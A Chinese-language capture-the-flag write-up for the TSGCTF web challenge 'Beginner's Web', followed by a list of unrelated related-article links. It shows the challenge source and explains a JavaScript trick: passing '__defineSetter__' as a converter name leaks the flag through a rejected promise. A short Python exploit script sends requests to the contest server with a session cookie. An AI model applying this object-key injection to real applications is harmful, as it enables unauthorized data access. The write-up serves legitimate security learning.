TSGCTF-web Beginner's Web (js内置方法__defineSetter__)
const fastify = require('fastify');
const nunjucks = require('nunjucks');
const crypto = require('crypto');
const converters = {};
const flagConverter = (input, callback) => {
const flag = '*** CENSORED ***';
callback(null, flag);
};
const base64Converter = (input, callback) => {
try {
const result = Buffer.from(input).toString('base64');
callback(null, result)
} catch (error) {
callback(error);
}
};
const scryptConverter = (input, callback) => {
crypto.scrypt(input, 'I like sugar', 64, (error, key) => {
if (error) {
callback(error);
} else {
callback(null, key.toString('hex'));
}
});
};
const app = fastify();
app.register(require('point-of-view'), {engine: {nunjucks}});
app.register(require('fastify-formbody'));
app.register(require('fastify-cookie'));
app.register(require('fastify-session'), {secret: Math.random().toString(2), cookie: {secure: false}});
app.get('/', async (request, reply) => {
reply.view('index.html', {sessionId: request.session.sessionId});
});
app.post('/', async (request, reply) => {
if (request.body.converter.match(/[FLAG]/)) {
throw new Error("Don't be evil :)");
}
if (request.body.input.length < 10) {
throw new Error('Too short :(');
}
converters['base64'] = base64Converter;
converters['scrypt'] = scryptConverter;
converters[`FLAG_${request.session.sessionId}`] = flagConverter;
const result = await new Promise((resolve, reject) => {
converters[request.body.converter](request.body.input, (error, result) => {
if (error) {
reject(error);
} else {
resolve(result);
}
});
});
reply.view('index.html', {
input: request.body.input,
result,
sessionId: request.session.sessionId,
});
});
app.setErrorHandler((error, request, reply) => {
reply.view('index.html', {error, sessionId: request.session.sessionId});
});
app.listen(59101, '0.0.0.0');

页面下方有显示出用户sessionID,结合源码不难看出可以利用flagConverter获得flag。因为有匹配,所以直接在converter参数传入FLAG_${request.session.sessionId}是行不通的。
1.利用__defineSetter__创造出名为FLAG_${request.session.sessionId}的数组键名 (${request.session.sessionId}表示sessionID)。
__defineSetter__介绍:https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Object/__defineSetter__
__defineSetter__有两个参数,第一个是属性,第二个是函数。实际上就是绑个函数在指定属性上,当指定属性被赋值时,该函数会被调用。
converters[request.body.converter](request.body.input, (error, result)是用户可控的,(error, result)是箭头函数有两个参数
所以,input输入FLAG_${request.session.sessionId},converter参数输入__defineSetter__就可以成功把(error, result)绑在FLAG_${request.session.sessionId}上。FLAG_${request.session.sessionId}对应箭头函数的第一个参数error,最后能通过error把flag输出
此时,我们需要对promise有所了解 https://blog.csdn.net/new__person/article/details/103702562

因为 __defineSetter__没有被触发,promise不会有返回结果,所以http没有response

此时应该是这样的__defineSetter(FLAG_${request.session.sessionId},(error, result) => {if (error) {reject(error);} else {resolve(result);})
我们直接回到post

红色箭头所指的是一个赋值操作,只要执行这条语句就能触发我们之前的__defineSetter__。非常的amazing啊,我们只要再发一个不会在前两个if判断挂掉的包就能成功触发。触发之后就会把FLAG_${request.session.sessionId}传入箭头函数,作为其第一个参数error,通过reject(error)输出。这里使用python发包
exp:
#!/usr/bin/python3
import threading
import requests
import time cookie = {"sessionId" : "Qaa0ZB24y079HE3S4XNVGrRYk0dnpAAY.ZyckOkEpT1GboSRLgcE1I%2BZ52%2FqfSQEZWkq1%2F5dyJB"}
def sendPayload():
r = requests.post("http://35.221.81.216:59101",data={"converter":"__defineSetter__","input":"FLAG_Qaa0ZB24y079HE3S4XNVGrRYk0dnpAAY"},cookies=cookie)
print(r.text) threading.Thread(target=sendPayload).start()
requests.post("http://35.221.81.216:59101",data={"converter":"base64","input":"55555555555555555555"},cookies=cookie)
这题叫beginner可真是太艹了
本人js菜的抠脚,如果有不对的地方,望各位师傅斧正
TSGCTF-web Beginner's Web (js内置方法__defineSetter__)的更多相关文章
- web前端学习(四)JavaScript学习笔记部分(6)-- js内置对象
1.JS内置对象-什么是对象 1.1.什么是对象: JavaScript中的所有事物都是对象:字符串.数值.数组.函数 每个对象带有属性和方法 JavaScript允许自定义对象 1.2.自定义对象: ...
- 4、js内置函数
前言:上一篇我介绍了函数的基本概念,和一些简单的Demo.其实很多函数是js内置的,我们无需自己去写,直接拿过来用即可.内置函数分为全局函数和js内置对象的函数区别:全局函数不属于任何一个内置对象.理 ...
- 4月5日--课堂笔记--JS内置对象
JavaScript 4.5 一. JS内置对象 1.数组Array a)创建语法1:var arr=new Array(参数); i. 没有参数:创建一个初始容量为0的数组 ii. ...
- JS内置对象有哪些?
JS内置对象分为数据封装类对象和其他对象 数据封装类对象:String,Boolean,Number,Array,和Object; 其他对象:Function,Arguments,Math,Date, ...
- JS内置对象-String对象、Date日期对象、Array数组对象、Math对象
一.JavaScript中的所有事物都是对象:字符串.数组.数值.函数... 1.每个对象带有属性和方法 JavaScript允许自定义对象 2.自定义对象 a.定义并创建对象实例 b.使用函数来定义 ...
- js 内置对象和方法 示例
JS内置函数不从属于任何对象,在JS语句的任何地方都可以直接使用这些函数.JS中常用的内置函数如下: 1.eval(str)接收一个字符串形式的表达式,并试图求出表达式的值.作为参数的表达式可以采用任 ...
- 【ES6】改变 JS 内置行为的代理与反射
代理(Proxy)可以拦截并改变 JS 引擎的底层操作,如数据读取.属性定义.函数构造等一系列操作.ES6 通过对这些底层内置对象的代理陷阱和反射函数,让开发者能进一步接近 JS 引擎的能力. 一.代 ...
- 5月15日上课笔记-js中 location对象的属性、document对象、js内置对象、Date事件对象、
location的属性: host: 返回当前主机名和端口号 定时函数: setTimeout( ) setInterval() 二.document对象 getElementById(); 根据ID ...
- JS内置对象的原型不能重定义?只能动态添加属性或方法?
昨天马上就快下班了,坐在我对面的同事突然问我一个问题,我说“爱过”,哈哈,开个玩笑.情况是这样的,他发现JS的内置对象的原型好像不能通过字面量对象的形式进行覆盖, 只能动态的为内置对象的原型添加属性或 ...
随机推荐
- 入门大数据---Spark_Structured API的基本使用
一.创建DataFrame和Dataset 1.1 创建DataFrame Spark 中所有功能的入口点是 SparkSession,可以使用 SparkSession.builder() 创建.创 ...
- 判断CString 字符串里面是否全部为数字
//原理就是去除0-9的数字,判断去除数字后的字符串是否为空,如果为空,说明字符串全部都是为数字,否则得话,就不是. strOutTimeOnNum = strouttime.TrimLeft( _T ...
- ZooKeeper 数据模型:节点的特性与应用
zk的基础知识基本分为三大模块 数据模型 ACL 权限控制 Watch 监控 数据模型 默认配置文件 # The number of milliseconds of each tick tickTim ...
- js的几个小问题
1.存一个有效期为7天的cookie,key = nickname, val = Ace 代码: function setCookie(key,val,expires){ let now=new Da ...
- Python-发送邮件验证码
前言 关于 Python 这个栏目,咕了几个月了,今天讲讲如何发送验证码并验证. 因为部分原因,写这篇文章的时候心情是不太好的,播放首歌吧. 代码 导入 导入yagmail,random和ti ...
- 干!垃圾微软!发布我的Netcore跨平台UI框架 CPF
什么鬼,我的CPF快写好了,你居然也要搞跨平台UI框架?什么Maui? 之前怎么不早说要搞跨平台UI框架呢?看到谷歌搞flutter眼红了?明年年底发布?又搞这种追别人屁股的烂事情. 什么MVU模式? ...
- 网页不让用户复制方法总汇,设置html禁止选择,保护源码,js禁止复制文字
这篇文章主要讲解:右键复制失效方法.菜单"文件"-"另存为"失效方法.防止查看源代码进行复制的方法.防止页面缓存的方法.来达到一定的代码保护效果 右键复制失效方 ...
- 冷知识:达夫设备(Duff's Device)效率真的很高吗?
ID:技术让梦想更伟大 作者:李肖遥 wechat链接:https://mp.weixin.qq.com/s/b1jQDH22hk9lhdC9nDqI6w 相信大家写业务逻辑的时候,都是面向if.el ...
- HDU 2236 无题Ⅱ
HDU 2236 无题Ⅱ 题目大意 这是一个简单的游戏,在一个\(n*n\)的矩阵中,找n个数使得这n个数都在不同的行和列里并且要求这n个数中的最大值和最小值的差值最小. solution 暴枚\(i ...
- 重学c#系列——对c#粗浅的认识(一)
前言 什么是c#呢? 首先你是如何读c#的呢?c sharp?或者c 井? 官方读法是:see sharp. 有没有发现开发多年,然后感觉名字不对. tip:为个人重新整理,如学习还是看官网,c# 文 ...